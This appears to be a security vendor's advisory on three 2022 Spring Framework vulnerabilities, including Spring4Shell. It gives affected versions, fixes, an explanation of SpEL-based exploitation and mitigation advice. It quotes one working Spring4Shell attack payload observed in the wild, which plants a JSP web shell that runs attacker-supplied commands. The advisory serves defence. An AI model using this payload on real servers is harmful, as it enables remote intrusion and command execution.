By now you have probably heard about another raft of high-severity vulnerabilities in the open-source Java application framework, Spring1. The Spring Framework is a collection of programming libraries which allow developers to easily integrate features into their apps such as authentication, data access, testing, and even the creation of web applications on top of Java Enterprise Edition.
Is Spring4Shell Related to Log4Shell?
Of the three new vulnerabilities, one of them sounds worryingly similar to the recent high-severity exploit, Log4Shell. While the vulnerabilities discovered in the Spring framework do have some things in common with Log4Shell, there are also some significant differences that impact how we should respond. The purpose of this article, therefore, is to explore these weaknesses, how they are exploited, and some general steps to mitigate your risk.
Of the three Spring vulnerabilities, two are critical and allow for remote code execution (RCE), and the third is a denial-of-service vulnerability. We will explore each in turn below.
CVE-2022-22963
This is a vulnerability in the Spring Cloud Function software, versions 3.1.6 and 3.2.2 as well as in older, unsupported versions. A user can provide a specially crafted routing expression in the Spring Expression Language (SpEL) to gain access to local resources and possibly achieve remote code execution.
It was originally given a Medium CVSS severity score but has since been reclassified as Critical. A fix is available by upgrading to versions 3.1.7 or 3.2.3.
It is also important to recognize that, despite some early confusion, this is not the same vulnerability as “Spring4Shell”, which has been assigned CVE-2022-22965, which we detail below.
CVE-2022-22965
This is a vulnerability in Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, as well as older unsupported versions. The vulnerability impacts Spring MVC and Spring WebFlux applications running on Java Development Kit (JDK) 9+. The initially reported exploit requires that the affected application be running as a WAR deployment in Apache Tomcat. Applications running as JAR deployments (the default) are not vulnerable to the initially reported exploit, but the vendor acknowledges that they may be affected by other exploitation techniques.
The CVSS Severity score for this is Critical. Fixes are available in Spring Framework 5.3.18+ and 5.2.20+.
CVE-2022-22950
This is a denial-of-service vulnerability in Spring Framework versions 5.3.0-5.3.16 and older unsupported versions. A user can use a specially crafted SpEL expression that can cause a denial-of-service condition. It is unrelated to the above two vulnerabilities and was announced originally on March 28th, 2022.
The CVSS severity score for this is Medium. There are fixes available in Spring Framework 5.3.17+.
What is SpEL and How Does It Relate?
SpEL is the “Spring Expression Language” a custom language used to write configuration information to Spring components. Understanding how it is used can help with understanding how these vulnerabilities are exploited.
In CVE-2022-22965, a crafted SpEL expression is sent to change the logging configuration of the affected component, causing a file accessible to the attacker in the application’s root directory to be used for logging output. The attacker then sends another request that will generate a logging action to write code (for example, a web shell) into the file. A third request from the attacker will execute this code. Since this also causes other logs to be written to this file, the attacker will also have access to logged data.
In CVE-2022-22963, a specially crafted SpEL expression is sent in the “spring.cloud.function.routing-expression” HTTP header. Because that header is unvalidated by Spring Cloud Function, this causes attacker supplied input to be executed as a command.
In CVE-2022-22950, a specially crafted SpEL expression is used to trigger a denial-of-service condition (i.e. crashing the application). Precise details of this have not been published, to our knowledge.
Tracking Spring4Shell Exploits In The Wild
Using data provided by the F5 Threat Campaigns service, F5 Labs detected active exploits of the vulnerabilities in the wild as early as March 30th, as shown in Figure 1. This provides more evidence of the speed in which threat actors can weaponize newly announced vulnerabilities.
A significant number of attacks are launched from Python scripts and appear to originate from cloud servers. What follows is an example of the attack payload as observed by F5 Labs.
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
Detection and Mitigation
As all the affected software has now been fixed by the vendor, patching affected systems should be a top priority.
All three of these vulnerabilities are triggered by crafted requests via the HTTP protocol and so are amenable to being detected and blocked with web application firewalls and similar tools. Notably, however, these requests may be targeted to specific ports configured as administrative endpoints for these applications, such as 9001 or 8080, which can vary with the specific configuration of the application and framework.
In addition, the specific strings used to trigger these vulnerabilities are not necessarily fixed; significant variation in the attack strings is possible. It is therefore imperative that signatures and configurations for web application firewalls and similar tools be updated on a regular basis as this situation evolves.
What You Can Do?
The F5 security incident response team (SIRT) has published and will continuously update the following KB article for information on the status of F5 products: https://support.f5.com/csp/article/K11510688.
Regardless of whether you are an F5 user or not, if you’d like to discuss this vulnerability and potential ways of mitigating attacks, please visit the F5 Communities site to discuss with other readers.
